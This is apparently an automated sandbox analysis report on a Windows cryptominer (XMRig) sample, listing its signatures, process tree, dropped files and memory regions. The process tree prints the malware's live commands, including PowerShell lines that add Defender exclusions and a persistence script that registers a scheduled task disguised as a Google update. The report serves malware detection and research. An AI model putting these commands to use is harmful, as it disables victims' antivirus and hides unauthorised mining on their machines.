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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

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23/01/2024, 19:27

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240123-x584esgbd510

Analysis

  • max time kernel
    1799s
  • max time network
    1793s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2616
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4112
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:764
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2468
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          PID:1968
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
            PID:4924
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1152
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4664
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          1⤵
            PID:3936
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2580
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:2704
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:4968

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 642KB
                • SHA256 d972782b680646624092d211e11fbaf11deb37d0876062c6fea3958c11388bd4
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 683KB
                • SHA256 c7f7a629114a17851219a3ba109191c5aa93cbb0bfa08f4771910156309b3158
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f313df10f67103a0652cc0c596cd85403f46a98240a886e375b07f436409000a
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_fzbpw4gq.gpa.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fzbpw4gq.gpa.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/764-52-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/764-47-0x000001E1E2140000-0x000001E1E2150000-memory.dmp

                memory/764-48-0x000001E1E2140000-0x000001E1E2150000-memory.dmp

                memory/764-46-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/1528-83-0x00000254DD850000-0x00000254DD856000-memory.dmp

                memory/1528-81-0x00000254DD870000-0x00000254DD88A000-memory.dmp

                memory/1528-88-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/1528-82-0x00000254DD820000-0x00000254DD828000-memory.dmp

                memory/1528-85-0x00000254C4300000-0x00000254C4310000-memory.dmp

                memory/1528-84-0x00000254DD860000-0x00000254DD86A000-memory.dmp

                memory/1528-54-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/1528-64-0x00000254C4300000-0x00000254C4310000-memory.dmp

                memory/1528-65-0x00000254C4300000-0x00000254C4310000-memory.dmp

                memory/1528-77-0x00000254DD610000-0x00000254DD6C5000-memory.dmp

                memory/1528-76-0x00000254DD5F0000-0x00000254DD60C000-memory.dmp

                memory/1528-71-0x00007FF468000000-0x00007FF468010000-memory.dmp

                memory/1528-78-0x00000254DD3A0000-0x00000254DD3AA000-memory.dmp

                memory/1528-79-0x00000254DD830000-0x00000254DD84C000-memory.dmp

                memory/1528-80-0x00000254DD810000-0x00000254DD81A000-memory.dmp

                memory/1968-99-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/1968-114-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/1968-112-0x000001EF74E30000-0x000001EF74E40000-memory.dmp

                memory/1968-111-0x000001EF74E30000-0x000001EF74E40000-memory.dmp

                memory/1968-100-0x000001EF74E30000-0x000001EF74E40000-memory.dmp

                memory/2580-53-0x00007FF746250000-0x00007FF746461000-memory.dmp

                memory/2580-118-0x00007FF746250000-0x00007FF746461000-memory.dmp

                memory/2616-36-0x00007FF755FD0000-0x00007FF7561E1000-memory.dmp

                memory/2616-0-0x00007FF755FD0000-0x00007FF7561E1000-memory.dmp

                memory/4112-31-0x0000024426EE0000-0x0000024426EF0000-memory.dmp

                memory/4112-19-0x0000024426EE0000-0x0000024426EF0000-memory.dmp

                memory/4112-18-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/4112-34-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/4112-25-0x0000024426EE0000-0x0000024426EF0000-memory.dmp

                memory/4112-32-0x0000024426EE0000-0x0000024426EF0000-memory.dmp

                memory/4216-12-0x000002D837FB0000-0x000002D837FC0000-memory.dmp

                memory/4216-16-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/4216-13-0x000002D837FB0000-0x000002D837FC0000-memory.dmp

                memory/4216-11-0x00007FFEC2200000-0x00007FFEC2CC1000-memory.dmp

                memory/4216-1-0x000002D837F50000-0x000002D837F72000-memory.dmp

                memory/4664-125-0x00007FF685940000-0x00007FF685956000-memory.dmp

                memory/4664-131-0x00007FF685940000-0x00007FF685956000-memory.dmp

                memory/4924-143-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-153-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-126-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-127-0x000001B367620000-0x000001B367640000-memory.dmp

                memory/4924-128-0x000001B367640000-0x000001B367660000-memory.dmp

                memory/4924-130-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-119-0x000001B3570E0000-0x000001B357100000-memory.dmp

                memory/4924-133-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-132-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-135-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-137-0x000001B367640000-0x000001B367660000-memory.dmp

                memory/4924-136-0x000001B367620000-0x000001B367640000-memory.dmp

                memory/4924-139-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-141-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-120-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-145-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-147-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-149-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-151-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-124-0x000001B367600000-0x000001B367620000-memory.dmp

                memory/4924-155-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-157-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-159-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-161-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-163-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-165-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-167-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-169-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-171-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-173-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-175-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-177-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-179-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-181-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-183-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-185-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp

                memory/4924-187-0x00007FF69ACE0000-0x00007FF69B4D4000-memory.dmp